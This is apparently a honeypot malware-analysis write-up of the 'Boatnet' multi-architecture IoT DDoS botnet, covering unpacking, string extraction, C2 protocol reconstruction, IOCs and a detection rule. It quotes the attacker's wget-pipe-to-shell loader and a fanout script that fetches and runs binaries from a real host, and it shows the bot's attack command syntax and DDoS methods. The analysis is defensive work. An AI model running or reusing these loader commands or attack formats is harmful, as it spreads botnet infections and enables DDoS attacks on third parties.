Fresh From the Honeypot: Boatnet
Overview
Boatnet - a multi-architecture IoT botnet component.
Campaign Graph
Methodology
This investigation was done entirely statically (i.e. I didn't execute the binary && Hybrid Analysis couldn't run it anyway since some of the crucial components are dynamically generated at runtime!)
- Inspect ELF metadata without execution
- Check entropy and obvious packer indicators (UPX packer was used)
- Note high-entropy regions for offline inspection
- Attempt safe unpacking only when packer evidence supports it
- Use strings and command logs to separate static configuration from runtime (dynamic) configuration
- Correlate honeypot sessions, uploaded filenames, source IPs, staging domains, and payload-hosting infrastructure
Tools used
You don't need anything fancy, just a few libraries:
readelf,file,stat, andxxdfor ELF structure and byte-level triagebinwalkandbinwalk -Efor signature and entropy checksstrings,grep, and shell one-liners for static indicator extractionupxfor packer validation- honeypot logs for attacker workflow and source correlation
Investigation
The observed Boatnet loader command
The Boatnet infrastructure artifact came from a command observed in the attacker workflow:
cd /tmp; wget http://2.26.98.67/bin.sh -O- | sh
Retrieve the script without executing it:
torsocks curl -v http://2.26.98.67/bin.sh -o /home/analysis/bin.sh
Representative result:
HTTP/1.1 200 OK
Server: Apache/2.4.52 (Ubuntu)
Content-Length: 3371
Content-Type: text/x-sh
Inspect the script:
cat /home/analysis/bin.sh
Representative content:
#!/bin/bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /
wget http://2.26.98.67/hiddenbin/boatnet.arm -O boatnet.arm && chmod +x boatnet.arm && ./boatnet.arm; rm -f boatnet.arm
curl -O http://2.26.98.67/hiddenbin/boatnet.arm && chmod +x boatnet.arm && ./boatnet.arm; rm -f boatnet.arm
...
wget http://2.26.98.67/hiddenbin/boatnet.x86_64 -O boatnet.x86_64 && chmod +x boatnet.x86_64 && ./boatnet.x86_64; rm -f boatnet.x86_64
curl -O http://2.26.98.67/hiddenbin/boatnet.x86_64 && chmod +x boatnet.x86_64 && ./boatnet.x86_64; rm -f boatnet.x86_64
rm -rf bin.sh
This is a classic architecture fanout loader: download every build, try to execute each one, delete it, and let the compatible one survive long enough to run.
Extract URLs from the loader
Use a simple URL extractor:
grep -Eo 'http://[^ ]+' /home/analysis/bin.sh
Representative result:
http://2.26.98.67/hiddenbin/boatnet.arm
http://2.26.98.67/hiddenbin/boatnet.arm5
http://2.26.98.67/hiddenbin/boatnet.arm6
http://2.26.98.67/hiddenbin/boatnet.arm7
http://2.26.98.67/hiddenbin/boatnet.i486
http://2.26.98.67/hiddenbin/boatnet.i686
http://2.26.98.67/hiddenbin/boatnet.m68k
http://2.26.98.67/hiddenbin/boatnet.mips
http://2.26.98.67/hiddenbin/boatnet.mpsl
http://2.26.98.67/hiddenbin/boatnet.ppc
http://2.26.98.67/hiddenbin/boatnet.sh4
http://2.26.98.67/hiddenbin/boatnet.spc
http://2.26.98.67/hiddenbin/boatnet.x86
http://2.26.98.67/hiddenbin/boatnet.x86_64
Check whether the payload directory is exposed
Query the directory directly (using torsocks or proxychains or whatever):
torsocks curl http://2.26.98.67/hiddenbin/
Representative result:
Index of /hiddenbin
boatnet.arm 2026-04-14 12:19 25K
boatnet.arm5 2026-04-14 12:19 9.1K
boatnet.arm6 2026-04-14 12:19 31K
boatnet.arm7 2026-04-14 12:19 51K
boatnet.i486 2026-04-14 12:19 28K
boatnet.i686 2026-04-14 12:19 23K
boatnet.m68k 2026-04-14 12:19 53K
boatnet.mips 2026-04-14 12:19 27K
boatnet.mpsl 2026-04-14 12:19 27K
boatnet.ppc 2026-04-14 12:19 25K
boatnet.sh4 2026-04-14 12:19 40K
boatnet.spc 2026-04-14 12:19 51K
boatnet.x86 2026-04-14 12:19 22K
boatnet.x86_64 2026-04-14 12:19 24K
That spread across ARM, MIPS, PPC, SH4, x86, and x86_64 is a classic IoT botnet distribution pattern. In practical terms, it looks like Mirai.
Safely retrieve one Boatnet sample
Retrieve, but do not execute, the x86_64 sample:
torsocks curl -v http://2.26.98.67/hiddenbin/boatnet.x86_64 \
-o /home/analysis/boatnet.x86_64
Representative result:
HTTP/1.1 200 OK
Server: Apache/2.4.52 (Ubuntu)
Content-Length: 24248
Hash it:
sudo sha256sum /home/analysis/boatnet.x86_64
Result:
c8ac1b479721ae4857cb0c6ff3d011b3248eae14519d26a8167eee58fd41f287 /home/analysis/boatnet.x86_64
Identify and unpack Boatnet
Basic file type:
sudo file /home/analysis/boatnet.x86_64
Representative result:
boatnet.x86_64: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header
Initial strings showed a UPX marker:
sudo strings -a -n 6 /home/analysis/boatnet.x86_64 | grep -Ei 'UPX|packed'
Representative result:
$Info: This file is packed with the UPX executable packer http://upx.sf.net $
$Id: UPX 3.94 Copyright (C) 1996-2017 the UPX Team. All Rights Reserved. $
Validate and unpack:
sudo upx -t /home/analysis/boatnet.x86_64
sudo upx -d /home/analysis/boatnet.x86_64 \
-o /home/analysis/boatnet.x86_64.unpacked
Representative result:
testing /home/analysis/boatnet.x86_64 [OK]
File size Ratio Format Name
43568 <- 24248 55.66% linux/amd64 boatnet.x86_64.unpacked
Unpacked 1 file.
Extract Boatnet attack and traffic-shaping strings
After unpacking, the strings become much more useful:
sudo strings -a -n 5 /home/analysis/boatnet.x86_64.unpacked | head -200
Representative result:
[1;33m[BOT] Attacking %s:%d with %s
GET /%s?%s HTTP/1.1
Host: %s
User-Agent: %s
Referer: %s
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
X-Forwarded-For: %d.%d.%d.%d
X-Real-IP: %d.%d.%d.%d
Via: 1.1 %d.%d.%d.%d
Cache-Control: no-cache
Connection: keep-alive
POST /%s HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: session=%s; _ga=GA1.2.%d.%d
This is HTTP flood traffic generation with browser headers, fake forwarding headers, and session/cookie-like data.
Recover Boatnet C2 IP and protocol strings
Search for IPs and C2-ish strings:
sudo strings -a -n 4 /home/analysis/boatnet.x86_64.unpacked \
| grep -E '[0-9]{1,3}(\.[0-9]{1,3}){3}'
Representative result:
2.26.98.67
Use radare2 to locate string VMAs:
sudo r2 -q -c 'aaa' \
-c 'izz~2.26.98.67' \
-c 'izz~Connected' \
-c 'izz~HTTPRAGE' \
-c 'izz~CFBYPASS' \
-c 'q' \
/home/analysis/boatnet.x86_64.unpacked
Representative result:
386 0x0000875e 0x0040875e 10 11 .rodata ascii 2.26.98.67
387 0x00008769 0x00408769 10 11 .rodata ascii Connected\n
391 0x00008797 0x00408797 8 9 .rodata ascii HTTPRAGE
404 0x00008801 0x00408801 8 9 .rodata ascii CFBYPASS
Find cross-references:
sudo r2 -q -c 'aaa' \
-c 'axt @ 0x0040875e' \
-c 'axt @ 0x00408769' \
-c 'axt @ 0x00408797' \
-c 'axt @ 0x00408801' \
-c 'q' \
/home/analysis/boatnet.x86_64.unpacked
Representative result:
(nofunc) 0x40110c [DATA] mov edi, str.2.26.98.67
(nofunc) 0x401152 [DATA] mov esi, str.Connected_n
(nofunc) 0x40142b [DATA] mov edi, str.HTTPRAGE
(nofunc) 0x40164b [DATA] mov edi, str.CFBYPASS
Reconstruct Boatnet C2 behavior
Dump the relevant areas around those references:
sudo r2 -q -c 'aaa' \
-c 'pd 120 @ 0x004010d0' \
-c 'pd 220 @ 0x004013f0' \
-c 'pd 220 @ 0x00401610' \
-c 'q' \
/home/analysis/boatnet.x86_64.unpacked
Representative disassembly:
0x0040110c mov edi, str.2.26.98.67
0x00401111 mov word [rsp + 0x1100], 2
0x0040111b mov word [rsp + 0x1102], 0xbc01
...
0x00401152 mov esi, str.Connected_n ; "Connected\n"
...
0x004011a0 mov esi, str.PING
...
0x004011bc mov esi, str.PONG_n ; "PONG\n"
The 0xbc01 value is stored in network byte order. Interpreted as a TCP port, that gives:
2.26.98.67:44481
The C2 protocol is plaintext TCP:
Bot -> C2: Connected
C2 -> Bot: PING
Bot -> C2: PONG
The command parser uses this format string:
.%s %s %d %d %d
That reconstructs to:
.<method> <target> <port> <duration> <threads>
Example shape:
.HTTPRAGE example.com 80 60 100
The leading dot is checked before parsing, which means attack commands must begin with ..
Supported methods observed in the unpacked binary include:
UDP
TCP
HTTPRAGE
BYPASS
MC-TCP
MC-UDP
MCHANDSHAKE
MCLEGIT
OVHUDP
FORTNITE
DISCORD
RAKNET
TCPRAGE
VSE
DNS
ICMP
HTTP
HTTPS
CFBYPASS
TLS
DISCORDBYPASS
RAGE
This confirms Boatnet is a modular DDoS bot with a raw TCP, newline-delimited C2 protocol.
Infrastructure Roles
2.26.98.67
Role: Boatnet payload host and apparent Boatnet C2
Paths: /bin.sh, /hiddenbin/boatnet.*
Port: 44481
Confidence: high for Boatnet distribution
Boatnet
Role: commodity multi-architecture IoT botnet payload set
Pattern: Mirai-like architecture fanout
IOCs
2.26.98.67
2.26.98.67:44481
http://2.26.98.67/bin.sh
http://2.26.98.67/hiddenbin/boatnet.arm
http://2.26.98.67/hiddenbin/boatnet.arm5
http://2.26.98.67/hiddenbin/boatnet.arm6
http://2.26.98.67/hiddenbin/boatnet.arm7
http://2.26.98.67/hiddenbin/boatnet.i486
http://2.26.98.67/hiddenbin/boatnet.i686
http://2.26.98.67/hiddenbin/boatnet.m68k
http://2.26.98.67/hiddenbin/boatnet.mips
http://2.26.98.67/hiddenbin/boatnet.mpsl
http://2.26.98.67/hiddenbin/boatnet.ppc
http://2.26.98.67/hiddenbin/boatnet.sh4
http://2.26.98.67/hiddenbin/boatnet.spc
http://2.26.98.67/hiddenbin/boatnet.x86
http://2.26.98.67/hiddenbin/boatnet.x86_64
Detection Logic
IF
honeypot session contains wget or curl to /bin.sh
THEN
High-confidence Linux IoT botnet loader activity
Observations & Conclusions
The Boatnet activity shows a layered post-compromise workflow combining commodity botnet deployment with a more flexible, dynamically configured payload.
The 2.26.98.67 infrastructure served bin.sh and a wide set of boatnet.* architecture builds. That is noisy, high-volume botnet infrastructure!
